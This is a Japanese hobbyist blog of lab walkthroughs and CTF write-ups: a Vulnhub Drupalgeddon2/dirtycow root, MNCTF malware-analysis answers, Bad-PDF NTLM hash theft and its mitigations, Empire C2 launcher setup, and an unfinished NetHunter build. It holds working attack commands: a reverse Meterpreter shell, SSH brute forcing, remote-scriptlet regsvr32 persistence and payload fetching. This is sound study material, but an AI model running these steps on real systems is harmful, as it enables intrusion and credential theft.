とある親父の侵入実験【Vulnhub Walkthrough - Lampião: 1】
最近、VulnhubというVMのイメージを公開しているサイトを活用してぺネトレーションテストのお勉強。
今回は「Lampião: 1」をやってみる。説明からは「脆弱性のあるマシンを作ったからrootを取ってね」という事なんでroot取るのを目標にがんばる。レベルはイージーらしい。
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! "Lampião 1".
Get root!
Level: Easy
まずはイメージを落としてきて起動。
当然ここからログインなんてしませんw
なので、自分のKaliで対象のサーバーにログインを試みますよ・・・。ってこいつのIPアドレス何??
相手のIPもわからなければ、自分にどんなIPが振られているかもわからないのでそこらへんから確認する。
root@kali:~# netdiscover -r 192.168.100.0/24
このnetdicoverコマンドで、指定したセグメント内のホストを探している。そしたら、192.168.100.128というホストが見つかった。これがターゲット。
ターゲットのIPが、わかったら調査開始。まずはポートスキャンから
root@kali:~# nmap 192.168.100.128 -p- -A -n
判明したことは・・・
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampião
こんな感じにポートが解放されている。
sshは、ユーザ名とパスワードがわからないままでは使えないので後にする。
httpが、空いているようなのでアクセスしてみる。
これといって収穫なし。
次に、1898番にアクセスしてみる。多分こっちが本命。DrupalとかApacheが動いている様子。
色々と情報を持っていそうなサイトが表示された。多分ここから切り崩していくんだと思う。
余談だが、このサイトに書かれていたのは、タイトルにもなってるLampião(ランピオン)についての内容だった。このランピオンとは、19世紀末からブラジル北東部で活躍した義賊「カンガセイロ」で活動していた人物の名前。
次にサイトの構成情報を取る。
root@kali:~# dirb http://192.168.100.128:1898/
robots.txtがあったのでアクセスすると
CHANGELOG.txtを発見。
中を確認したらDrupalのバージョンが判明した。
Drupal 7.54に脆弱性がないかググってみると・・・あった!!
metasploitでも使えるのかsearchsploitで調べてみる。
root@kali:~# searchsploit Drupalgeddon2
いけそうw
Metasploitを起動して、Drupalgeddon2を探してみる。
msf > search Drupalgeddon2
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) >
オプションを確認して必要事項を入力してexploitする。
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.100.128
RHOST => 192.168.100.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.100.133:4444
[*] Drupal 7 targeted at http://192.168.100.128:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.100.128
[*] Meterpreter session 1 opened (192.168.100.133:4444 -> 192.168.100.128:39994) at 2018-10-14 21:06:22 +0900
meterpreter >
侵入成功
metarpreterのコマンドで調査
meterpreter > sysinfo
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686
他に取れそうな情報もなさそうなのでshellで中に入ってみる。
meterpreter > shell
Process 7565 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/html
ユーザは「www-data」で/var/www/htmlにいるのがわかった。
su
su: must be run from a terminal
suコマンドをしてみたらターミナルからじゃないので怒られたので、とりあえずpty作って再度挑戦
python -c 'import pty;pty.spawn("/bin/sh");'
$ su
su
Password:
パスワード求めらるようになったけど、知らないから無理w
なんとかして権限昇格したいから脆弱性がないか内部を調査する。
まずはツールの準備としてこの二つを準備
準備できたら、ターゲット側からダウンロードできる様にサーバーを立ち上げて待ち受けるなどしておく。ターゲット側に調査用のツールを送り込んだらそれぞれ実行する。
linux-exploit-suggesterの結果からdirtycowが使えそうなことが判明。
またLinEnumの結果からg++も使えそうなのでコンパイルに関しても問題はなさそう。
と、いうことでdirtycowのコードを送り込んでコンパイルして実行
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
rootのパスワードが書き換わったので権限昇格可能になった。
一度セッションが切れてターミナル落ちたから再度開いてsu -でrootへ。
rootのディレクトリ内を確認したらflag.txt発見
flag.txt : 9740616875908d91ddcdaa8aea3af366
root権限も取れて、フラグも見つけたので終了
ちなみにこのフラグのハッシュ値が気になって調べてみると/var/www/html/lampiao.jpgのハッシュ値だった。
この画像を開いてみると・・・
ランピオン(Lampião)ことビルグリーノ・フェレイラ・ダ・シルバが、こちらに銃を向けてる画像でした。
さて、root取ってフラグ見つけたけど自分の中では、サーバへの侵入方法が「metasploitを使った」というのが少し納得がいかない。もう少し綺麗に侵入できないのか調べてみると別ルートでの侵入方法があったので、そこの部分だけ抜き出して解説。
Lampiãoのサイトをよく見てみると、投稿者が二人いることが確認できる。
tiagoとederの二人がこのサイトに関係しているユーザのようだ。そこで、この二人の名前のユーザリストを作成する。
echo tiago > userlist
echo eder >> userlist
次にパスワードリストをこのLampiãoのサイトで使用されている単語をもとにパスワードリストを作成。(ちょっと時間空いたからIPアドレスが変わってるけどターゲットには変わりは無し)
cewl -w wordlist http://192.168.136.212:1898/?q=node/1
このuserlistとwordlistを使ってhydraでブルートフォースする
hydra -L userlist -P wordlist ssh://192.168.136.212
tiagoのパスワードがVirgulinoと判明した。この情報をもとにsshで接続する。
見事にログイン成功!metasploitを使用する事なく与えられた情報を活用して侵入できた。
まとめ
脆弱性を活用できるか調べるためにも、ターゲットのサービスやOSのバージョンを知ることがとても重要。管理者権限を持っていなくてもかなりの情報を集めることは可能。すぐにmetasploitを起動するのではなく先ずは調査(自分への戒めw)
MNCTF2018 writeup
久しぶりのCTFに参加してきました。もう毎年恒例の行事になりつつあるMACNICAさんのMNCTF!
今年は、昨年までと違って気が楽!だって、変に勝ちを意識しなくて良いからw (まぁ、意識していても勝っていた訳じゃないですけどねw)今日は、問題を解く事を楽しんで、夜の懇親会で美味しいお酒を飲む!そんな気持ちで参加しました。(そのせいで、あとで痛い目を見ることになるけど…。)
戦績は振るわなかったけど、今はとっても清々しい(きよきよしい)気持ちです!
今回は、過去の設問とは雰囲気が変わって、本当にインシデントに対応している様な短編ストーリー仕立てで面白かった!やっぱり、他のCTFに比べると実務よりで面白いと思います。あと、今年は全体的にマルウェアの解析を解析するところから導入していく問題が多かったと思います。これは、実際の現場でメール等で着弾したり感染してしまってからインシデントレスポンスに当たることからなのかな?と勝手な解釈しつた問題を解いてました。
今回の問題は…
練習問題
いつも通りの点呼問題
新人奮闘Ⅰ
マルウェアのSHA-256を答える問題
shasum -a 256 AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29
新人奮闘Ⅱ
マルウェアの解析レポートを作っていく問題。指定されたサイトで穴埋め。
入力する項目は
Windowsマシンをしっかりと仕上げて来なかったことがここにきて災いしてツールがないことに苦戦w
仕方ないから検体をそのままVirusTotalへ投げてみた!そしたら既に誰かが投げてした様子w そこから必要な情報を入手できた。
新人奮闘Ⅲ
次は、このマルウェアを実行した時に実行されるコマンドを答える問題。これは何も考えないでstringsコマンドに投げたらコマンドが見えた。
net user /add /domain vpnadmin P@ssw0rD1!
新人奮闘Ⅳ
次の問題はフォレンジックということで、マルウェアがVPNに接続しているらしいのでログを調査して接続した時間を答えるというもの。
ちなみに前の問題で、net userコマンドを使ってvpnadminというユーザーを作成しているのがわかっているので、指定されているログファイルからvpnadminを検索してみる。
新人奮闘Ⅴ
先ほどのログから判明したIPアドレスから攻撃元の国を答える問題。
深読みしすぎて「IPアドレス ロケーション」で検索して出てきたサイト
ここにIPアドレス「27.117.128.1」を入力したら
ということで、大韓民国(なんでか正式名称w)と入力
新人奮闘シリーズはこれにて終了。マルウェアの解析から攻撃元の特定までと面白いシナリオだと思った。
大量不正
大量のマルウェアの中から類似性のあるもの見つけて答える問題。指定されたファイルをダウンロードして解凍すると中には100個のファイルが・・・。とりあえず、ハッシュ値を求めてソートしたけど一致するものなんてない。多分、ファジーハッシュを出して比較するpythonを書かないとダメなんだろうなぁ(毎回MNCTFではpythonを即興で組み上げる問題があるから)と、いうことでこれは無理と判断してスルー。しかし、午後の解説を聞くとssdeepコマンドで簡単に出せるらしいw
でも、macだとインストールしないとダメだから準備不足の自分は結局解けなかった事は揺るがないwww
とりあえずインストールして検証してみると・・・
ssdeep -bcdr *
"sample68.bin","sample1.bin",99
内容的には「sample68.bin」と「sample1.bin」が99%の類似性があるという事らしい。
種類特定
やっと出てきたネットワーク問題。pcapファイルを解析してマルウェアの名前を答える問題。MNCTFでpcapファイル問題が出た時は、とりあえずwebに投げる!という独自理論のもとPaketTotalにファイルを投げるw
すると・・・
ここで問題がw
マルウェアの名前を「Ursnif」と何度解答しても不正解(T ^ T)
結構な時間をロスしてしまい諦めて午後の解説を待つことに。そしたら午後の解説で驚愕の新事実が!!解答がスペルミスしていたようでしたw でも、この「Ursnif」には別名が「GOZI」らしく正解していた人はそっちを答えてみた様子。別名を調べられなかった自分のミス。
標的攻撃Ⅰ
今度は標的攻撃シリーズw フィッシングメールに添付されたエクセルファイルを解析する問題。このファイルは、サンドボックスでは解析できなくて特定のユーザでのみ起動する仕掛けがあるという。そこで、その標的となったユーザを調べる。
ここで大問題!私の解析用WindowsにはOfficeが入っていないwww
エクセルはせいぜいログファイルとかでしか使われないし、macにNumber入ってるし何とかなると思っていたらExcelのmacroっぽい。とりあえずテンパりながOpenOfficeをダウンロードしてインストール。何とか開くと
このマクロは、エクセルの使用者名とエクセルの表中のC列の値を比較して名前が値に含まれているならマクロの実行が行われるようだった。エクセルの表からC列を確認してみると当初C列は非表示になっていた。これを表示させて値を確認すると以下の名前が出てきた。この名前のどれかを答える。
- Yasu Kobayashi
- Take Teshigawara
- Soichi Yamamoto
- Tada Okuno
- Yoshi Hatakeyama
- Sho Shinogi
ちなみに何も考えずに「勅使河原」とか「Teshigawara」と入力したのは内緒ですw
標的攻撃Ⅱ
次は攻撃が発動した際に発生するHTTPSの通信のURLを答える問題。これは、先ほどのマクロの中に書かれていたのでそれを答える。
標的攻撃Ⅲ
通信を終えると、別のファイルが生成され、そこから2次ファイルが生成されるので、そのファイルのSHA256を答える。何度か、マクロを書き換えて実行させようとするも慣れないOpenOfficeもありうまく動作せず時間ばかり食い断念。
マクロを動かせないので、マクロと同じように動作させるようにしてみる。
マクロはURLからファイルをGETしてcert.pemとして保存。certutilコマンドでcert.pemをデコードしてcert.exeとして保存しているので、まずはcurl コマンドでgetしてファイル名「cert.pem」にして保存。
curl -X GET https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert > cert.pem
このファイルをWindowsに移動させて
certutil -decode cert.pem cert.exe
これでマクロと同じものが出来上がってあとはSHA256を計算すればOK
shasum -a 256 cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382
午後の解説前に試してみたらこの値が出た。競技中は何かが違っていたみたいでこの値じゃなかったw
標的攻撃Ⅳ
前の設問でできた2次ファイルを実行すると発生するHTTPSの通信先のURLを解答する。これも、解説前に出来上がったファイルを実行したらそれっぽいのがすぐに見つかった。
https://shinobotps1.com/download_get.php
穴埋防御
不審なファイルを解析し、Yaraルールを完成させる問題。競技中は「Yaraルール」の文字が見えたので敬遠したw
解説を聞いたので試してみる。まずYaraルールを確認してみると
必要な情報はMutexらしい。次に不審なファイルを確認すると何やら難読化されてる感じ。これはBase64でエンコードされているのでこれをデコードする。この時に活用できると紹介されたのが「CyberChef」というサイト。このサイトは、いろんな形へのエンコードやデコードが出来る優れもの。
このサイトで難読化されているデータをデコードする。
デコードするとpowershellのスクリプトが現れる。そしてこのスクリプトの中にもまたbase64でエンコードして、XORもしているデータが見つけられる。
まず、このbase64でエンコードされている部分を切り取りCyberChefに貼り付けてデコード
これをXORすると
MZで始まるようになったのでこれをexeファイルとして保存して解析する。
IDAで開き確認すると
Mutexは「1q2w3e4r0o9i8u7y6t」になる。これは、完全に検討つかなかったので勉強になった。
盗聴情報
最後の問題は、「XOR(シングルバイトキー)→ Base64 → ROT13」というアルゴリズムで暗号化されたファイルを復号して答える問題。アルゴリズムがわかっているので逆順でやればいいんだろうと予想し、多分pythonで組むのかな?と思った時点で諦めていたwww
実はこれもCyberChefで解けると聞いて驚いた。
ファイルをCyberChefにアップロードして、ROT13、Base64と復号してXORはシングルバイトキーということなのでBrute Forceを使うという。
そうするとキーが15の時に「PNG」という文字とpngファイルに含まれる「IHDR」という文字が。ということで15でXORして拡張子をpngにして保存する。
まとめ
今回のMNCTFは、冒頭で述べたとおり今までと違いシナリオ構成になっていて解いていくのが楽しかった。何よりもワクワクした。競技での成績は悪かったけど今回は過去最高の満足度でした。
そして、CyberChefというサイトの便利さが半端ないということを学べて良かった。
作戦は奇を以って良しとすべし MNCTF2017 WriteUp
作戦は奇を以って良しとすべし
凡そ戦いは、正を以て合い、奇を以て勝つ。故に善く奇を出だす者は、窮まり無きこと天地の如く、竭きざること江河の如し。終わりて復た始まるは、四時是れこれなり。死して更生ずるは日月これなり。
さてMNCTFの時期がやってきましたよ。2015年の第一回から参加して今回で三回目!
そろそろ上位に食い込みたい!w
だから今年は、一丁前にMNCTFの対策?を練ってみました。
- 使用するツール類は、他のCTFと違って無料のツールでなんとかなる!
- 多分、今年もクロスワードが出る。
- 去年よりテクニカル系の問題が増えるかもしれない。個人的な感覚として2015年がツールを駆使する系、2016年はブラウザーだけでもなんとか頑張れる系と思いましたw(勝手な憶測ですが、2015年が難しかったから、2016年は簡単にしたのかな?とも考えてました)
- キーワードは「てしがわら君」!
- 問題傾向は、実際のインシデントに則った内容になる。
- 過去のWriteUpで紹介されたツールはインストールし、紹介されたWebサイトはブックマークする。
と、妄想作戦会議を経て今年も参加してきました、Macnica Networks DAY 2017!
そしてMNCTF2017に!
今年は、CTFの後になっと解説してくれるという至れり尽くせり感あるプログラムw
だから、WriteUpとか書いちゃうと権利関係でやばいかな?って思っていましたよ。でも、そんなことはなかったようなので、毎年恒例になった「覚え書き」と「反省」を兼ねた無駄な手順満載のWriteUpを書いておこうと思います。説明聞いたけどわからない部分もあったので実際に解けた問題と、あと少しだった問題のみをまとめます。
今年の問題は以下のようなラインナップ
1.練習問題
安定の点呼
2.昇進試験
予想通りのクロスワード!
今回は、Linuxのコマンド!
結構、知らないコマンドあった。
3.通信記録
予想通りのネットワーク問題。
「パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。」
本番では一生懸命、pcapファイルをwiresharkで展開して眺めて答えを見つけたけど実は、お馴染みのVirustotalに投げると・・・
ここに問題のpcapを投げてスキャンすると
WannaCryの通信だと検出してくれる。なんて便利なんだ!w
で、求められているのは突かれた脆弱性の名前なんで、WannaCryで使用された脆弱性といえば「EternalBlue」ということになる。
4.不審起動
不審なレジストリが見つかり、不審なスクリプトが実行された。そのスクリプトの通信先のFQDNを答えるのが問題。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"
とりあえず、レジストリの中にある「https://pastebin.com/raw/8CUEUgix」にアクセスしてみる。すると、やたら難読化されたJScriptが出てくる(なんか作問者の好みが垣間見えるw)ので、まずは難読化を解く。するとurlとかいう記述がある。
この中のurlの部分をさらに変換
すると「https://mtip.macnica.net」が出てくる。
5.脅迫文書
脅迫文のようなメールが来たという設定。そして、写真にアドレスが記載されたメモが。
「.onion」というのが見えるので、Tor Browserでアクセスしてみる。
パスワードを入力しろ的なサイトに接続される。ここで、メモに書いてあるパスワード「0b3y!!」を入力すると
答えが表示される。
6.攻撃痕跡
フォレンジックスの問題。ログファイルと攻撃者が残したファイルがある。
攻撃者の残したファイルのなかにあからさまに怪しいファイル達がある。この中に「sqlite.ex_」があってどうみても怪しかったのでログファイルの中で検索してみる。
06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:€Program Files (x86)€\Tencent€\RTXC€Plugins€bizmailclient€sqlite.exe"" a -m5 -hpFnckyou123 ""C:€Program Files (x86)€\Java\€jre7€\bin\€client\€jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f
1行ヒットする。このログを読んでみるとsqlite.exeを使ってエクセルファイルをjvm.datにしてるような感じに見える。
このjvm.datを調べてみると
rarファイルらしい。拡張子をrarに変えて開こうとするとパスワードを求めてくる。
パスワードなんて?と思ったらコマンドの中にそれっぽいのがあったの(「Fnckyou123」)で入力する。
中に4つファイルがあり、問題は「盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。」なので「serverpassword」を答える。
7.賭博遊戯
これは、解けなかった。
Chromeのデベロッパーツールを使ってを値を上手く改ざんして解くらしい。前回にも似たような問題があったのにできなかった。
8.宛先暗号
マルウェアの通信先FQDNを問われてる。与えられたものは、マルウェア本体と一緒にあったファイル、それにエンドポイントのログ。ヒントを元にログを検索してみる。
06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168
するとこんなログがあった。とりあえず現段階では、イマイチわからないので実際にこのマルウェアを動かしてみた。すると
使い方的には svchost.exe rc4のカギ ファイル らしい。要するに「svchost.exe abcd vm.dat」これで外部と通信するようなのでやってみる。
wiresharkを起動しコマンドを指定通りに実行すると
見事に通信発生!
その中に見慣れた通信先がw
9.情報照合
解けなかった。APIを使ってハッシュを検索するようなんだが、説明を聞いてもイマイチ理解できなかった。解けた人は、その場でプログラムを書いていたようなことを聞いた。
10.脆弱会話
これも解けなかった。バッファーオーバーフローを起こさせるexploitを完成させるらしい。
まとめ
今回もさんざん偉そうに作戦を練ったもののいつも通りの成績で終了。来年に繋げられるかな?って感じでした。でも、他のCTFに比べてもとても業務に直結してるスキルを問われるので毎回とても勉強になっている。来年もぜひ参加したい!
2018/07/08追記
このブログ、去年の今頃にまとめたようなんだけど何故かアップされずにいてビックリ。そろそろMNCTF2018だから自分で振り返ろうとしたら書いたはずのブログが見つからなくてかなり焦ったしw
とりあえずこのままお蔵入りするのも寂しいから少し手直してアップします。
とある親父の侵入実験【Bad-PDFを防いでみる】
結構、反響が良かったのと、ベンダーから公開されている対応策を検証していたらそれなりの量になってきたので、前回の記事への追記ではなくて新しく書き起こしてみた。
そもそものネタは前回のコレ
この時に、ベンダーの対策について処置対策についてご指摘を受け、公開後に追記させてもらったのだが、その際の検証状況については載せていなかった。
1・環境
2・準備
Microsoftが公開した「Windows NTLM SSO認証」対策は「最新のOS」を「最新の状態」にしていることを推奨しているというので、やられPCとして準備していたWindows7は利用できなくなった。そこでWindows10を準備しとりあえずアップデートして最新の状態にした。(マイクロソフトは Windows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています)
3・検証
前提条件:攻撃側のKali LinuxでBad-PDFを実行し悪意のあるPDFを作成しWindows側へ渡している状態で始める。
Microsoftで公開された対処は、レジストリの以下の場所に「EnterpriseAccountSSO」というDWORD32キーを追加する。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0
まずは、このキーを追加しない状態でPDFを開くと
異常なくダダ漏れになる。
次にレジストリにキーを追加する。
ここに入れる値は公式によると
- 2 - 常に SSO を許可します(これが既定の状態です)。
- 1 - リソースがパブリックの場合は SSO を拒否します。リソースがプライベートまたはエンタープライズの場合は許可します。リソースが指定されていない場合は、SSO を許可します。
- 0 - リソースがパブリックの場合は SSO を拒否します。リソースがプライベートまたはエンタープライズの場合は許可します。リソースが指定されていない場合は、SSO を拒否します。
まずリソースがパブリックな場合や、指定されていない場合は拒否する「0」にすると
これまでと違ってNTLMの情報が流れてこない。
次に値を「2」にすると、SSOを許可する通常の状態なので当然、ダダ漏れ。
Microsoftの推奨する「最新のOS」で「最新の状態」にして、「新しい動作(レジストリへの書き込み)」という処置をした状態ならば対策できることが検証できた。
次にせっかくなのでFoxitについても検証してみた。
ベンダーの発表では9.1のリリースで対応したというのでそれ以前のバージョンと9.1で比較してみた。
まずは8.0.2
攻撃側に一切の反応がない・・・。当然レジストリのキーは削除している。不安になったからAdobe Readerで起動したら異常なく漏れてきた。でも、Foxit 8.0.2 反応なし。
次は、がっつりダウングレードして6.0.5
やはり変化なし。
念のため、ベンダーから保証されている9.1
当然動きはない。
自分の中では9.1以前のバージョンで開くと漏れ出てくれるものだと仮定して検証していたのでかなり肩透かしを食らった気分である。もしかすると、レジストリのキーは削除してあるが、Windowsを最新の状態にしているのが原因なのか?とも疑い始めてもう何が正しいのかわからなくなってしまった。結果としてFoxitに関しては、私の環境ではNTLMの情報を盗み出すことはできなかった。
4・まとめ
Foxitに関して正確な情報を見出せなかったが、とりあえずAdobeは公表通り対応はしていない。しかし、Windows側で対応している。しかし、Windows側の対応は、最新のものだけで古いバージョンに関しては対応しない。
とある親父の侵入実験【Bad-PDFを使ってみた】
2018年のGW前半に「Bad-PDF」というツールが公開されていたので、どんなものか試しに使ってみた。事の発端は、4月29日のこのツイート
https://t.co/FZxefN5l64
— DeepZec (@DeepZec) 2018年4月29日
Bad-PDF - Steal NTLM hashes using Malicious PDF file, It uses recently disclosed PDF vulnerability by Checkpoint to create malicious PDF document. @KitPloit @TheHackersNews #Badpdf
最近公開された脆弱性を利用してNTLMハッシュを盗み出す悪意のあるPDFファイルを作れるようのことを言ってる。実際にどんなものか検証した。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
1・環境
2・準備
Githubより「Bad-PDF」をダウンロードする。
次にbadpdf.pyに実行権を付与する。面倒だからchmod 777で処置w
chmod 777 badpdf.py
3・実行
実行権を付与したbadpdf.pyを実行する。
./badpdf.py
必要な項目を入力していく
Please enter responder path (Default /usr/bin/responder):
/usr/sbin/responder ←responderのパスを指定
Please enter Bad-PDF host IP:
192.168.55.128 ←自分のIPアドレス
Please enter output file name:
sample.pdf ←作成するPDFファイルの名前
Please enter the interface name to listen(Default eth0):
eth0 ←待ち受けるインターフェース
必要項目への入力が終わるとresponderが起動し待ち受け状態になる
ちなみに先ほど項目を指定して作成したPDFファイルは、badpdf.pyを起動した場所と同じところに生成されている。
このPDFファイルを「やられPC」側に配置し実行すると・・・
見事にやられPCのNTLMハッシュが流れてきた!
次に、このハッシュ部分をテキストファイル(今回はファイル名:hash)として保存する。
作成したハッシュファイルをjohnで解析する。
john hash
ユーザ名:Victim
パスワード:pass1234
簡単なパスワード使っていたせいもあるけどわずか1分程度でNTLMハッシュが解析する事ができた。
4・まとめ
このBad-PDFを使ってユーザ情報を盗み出すには、そもそも対象と同じネットワークに接続していないと難しそう。しかし、長期的な攻撃キャンペーンなどでは、もしかすると悪用されてしまう可能性もあるのかな?と考える。
5・おまけ
みんなが大好きvirustotalの結果を貼っておくと、このブログを書いた今日(2018年5月16日)現在、検出率は0/57で悪意のあるものとは判断されていません。
追加
2018/05/17 0:10追加
対策について触れていないというご指導を賜りましたので、教えていただいた情報を元にできる範囲内で検証してみました。(どうしても攻撃手法にばかり目がいって対策とかの守る側のスタンスを疎かにしてしまってます^^;)
ベンダ側の対応状況 (修正有無) が書かれていなかったですが、Foxit はバージョン 9.1 で修正済み、Adobe は未修正 (修正するつもりはない模様)、関連するのはこの辺りの件 https://t.co/uUgcKYJRmH https://t.co/5ylKQGG2z4 https://t.co/gi0piJ0P6u
— Neutral8✗9eR (@0x009AD6_810) 2018年5月16日
まず、脆弱性への対応はFoxitは9.1で対応。しかし、adobeは以下の理由から対応しない様です。以下、引用
Adobe responded as shown below, without assigning any CVE or fix for the vulnerability:
“Thank you for checking in on this case. Microsoft issued an optional security enhancement [0] late last year that provides customers with the ability to disable NTLM SSO authentication as a method for public resources. With this mitigation available to customers, we are not planning to make changes in Acrobat.“
全文についてはこちら
要するに、マイクロソフト側で「Windows NTLM SSO 認証の変更」という形でNTLM SSO認証を無効にすることができるので、Acrobatでは処置しませんということらしい。
では、そのマイクロソフトの対応とは何なのかというと
https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/ADV170014
Windows NTLM SSO認証のセキュリティ強化をリリースし、この新しいセキュリティ強化を展開した場合、攻撃者は組織外の悪意のあるリソースにユーザーをリダイレクトして、NTLM 認証メッセージを取得することができなくなる。また、この設定にはレジストリの設定を変更する必要がある。
また、このアドバイザリでは以下の様にもいっている。
NTLM を使用するすべてのバージョンの Windows は、この種類の攻撃を受ける可能性があります。古いバージョンの Windows ファイアウォールには制限があるため、マイクロソフトは Windows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています。マイクロソフトは、最新の最も安全な製品にアップグレードすることをお勧めします。
要するに最新のOSを最新の状態にアップグレードすることを推奨している様子。
今後、マイクロソフトの対応がどの様にBad-PDFに対して有効なのかを検証し追記していく。
とある親父の侵入実験【Empire の使い方が変わってました】
昨年あたりから何度かご指摘を受けていた件として、Empireの使い方がバージョン2以降変わっていたので、前回のブログ記事からの変更点を簡単にまとめてみる。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
1・Empire起動
./empire
Empireを起動して、従来の手順通りにリスナーモードへ移行する。
listeners
2・リスナーモード
リスナーモードになったので、以前と同じ様に「info」「execute」と入力してみるも望んだ結果は表示されない。ここが、バージョン2になっての大きな変更点。
現状で、どんなコマンドが利用できるのかはtabを二回押すと補完機能で、利用可能なコマンドの候補が表示される。
この中にある「uselistener」コマンドで、リスナーを作る事ができる。
作成できるリスナーの種類についてもuselistener入力後にtabで補完すると候補が表示される。バージョン1系では、デフォルトでhttpになっていた。
uselistener http
ここで再度、tabの補完機能を使うと「execute」コマンドがあるのが確認できるのでexecuteを実行する。
execute
すると、画面上にリスナーの起動が成功した旨のメッセージが表示される。この状態でlistenersと入力する事で現在起動しているリスナーを確認できる。
3・launcherの実行
リスナーが動き始めたら次は、リスナーへ接続するためのlauncherを作成する。以前と同様にlauncherと入力するとコマンドの後の引数についてメッセージが表示される。
バージョン1では、launcher listenerNameで作成できていたが、バージョン2からは、launcherを作成する事ができる言語がPowerShellだけでなく、Pythonも加わったので言語のしても必要になった。
バージョン2からの様式に合わせてlauncher 使用言語 リスナー名で入力する。今回は、今まで通りのpowershellを使用する。
launcher powershell http
これもコピーしてWindows側で実行すれば、バージョン1の時と同じ様にリスナーに接続される。接続してからの操作に関しては大きな変更はない。
よって今回は、Windows側からの接続に関しては省略します。
4・まとめ
前回から操作が大きく変更されたが、それも全て機能が拡張されたことによるもの。より一層、Empireが便利なツールになったと思えば問題なしw
ご注文はスマホですか? 【NetHunterの作り方(Nexus 5)】
12月2日にこんな話をする機会をいただきました。
ハッキングガジェットに関する話で、実際の展示とかを失敗を交えながら披露させてもらえましたw
今回はLTで紹介した「NetHunter(Nexus5)」の作り方をまとめてみた。
そもそもNetHunterとは何かと言うと、Androidのスマホにスマホ用にカスタマイズしたKali Linux(ペネトレーションツール)をインストールしたってことでいいかなw(←テキトー)
Kali Linuxのサイトに行く度にちらほらと名称は見かけていたんだけどなかなか手が出せなかった(いろんな意味でw)
でも今回、覚悟を決めて中古のNexus5を購入し作ってみた!
---注意!---
ここから先の内容は、Androidのメーカー保証を受けれなくなるような改造を含みます。正規の使用法を完全に逸脱する内容です。何か起きても自己責任になります。それでも良い!と言うようなお金持ちか、私と同じくらい狂ってる人だけがこの先を見てください。
ここまできたって事は、だいぶ変態ですねw
材料
・Nexus 5
環境
PCからAndroidをいじくるには、「adb」とか、「fastboot」と呼ばれるものが必要になります。これらのインストールについて語ると長くなるし、ググればそれぞれの環境にあったインストール方法を紹介してくれるサイトがわんさかあるので、既にインストール完了している前提で話は進みます。
とりあえずオフィシャルのリンクは以下に貼っておきます。
このサイトにはAndroidのどのバージョンがサポートされているかがまとめてある。(てか、やりようによってはNexusじゃなくてもインストール可能らしい)
ダウンロード
安定版は以下のサイトからダウンロードすればOK
多少不安定でもいいから最新のイメージを使いたいなら以下のサイトからダウンロードするように書いてあるので自己責任でどうぞw
https://build.nethunter.com/nightly/
この時、注意しなくてはならないのが、新規インストールの場合は「nethunter-generic-[arch]-kalifs-*.zip」と「kernel-nethunter-[device]-[os]-*.zip」が必要になり、最後にカーネルをフラッシュしてやる必要があるとかないとか書いてある。
セットアップ
ツールの準備
今回、自分の環境がMacなんで、LinuxとOSX用に用意された「NetHunter Linux Root Toolkit(LRT)」を使ってインストールしていく。(Windowsは、Nexus用のGUIツールがあるらしい)
まずは、上記GithubからLRTをダウンロードして展開する。この後は、ここに書いてある通りに必要なものを集めるだけ!
cd Nethunter-LRT/
中はこんな感じ
Factory Imageのダウンロード
次にGoogle から、Nexus5の Factory Imageをダウンロードしてきて「stockImage」に入れる。下のリンクからFactory Imageのダウンロードサイトに飛んでNexus5の項目を見つけてダウンロード。公式でインストールできるバージョンが、5.1.1と6.0.1と言っている。今回は5.1.1を選択(それでも一番新しそうな奴を選んでみる)
https://developers.google.com/android/images
TWRPのダウンロード
次の手順は、以下のTWRP WEBから、Nexus5のTWRP Imageをダウンロードして「twrpImage」に入れる。
サイトにアクセスしてデバイス名(ここではNexus5)を入力すると候補が出てくるので「LG Nexus 5(hammerhead)」を選択してダウンロードしてくる。
SuperSu(BETA)のダウンロード
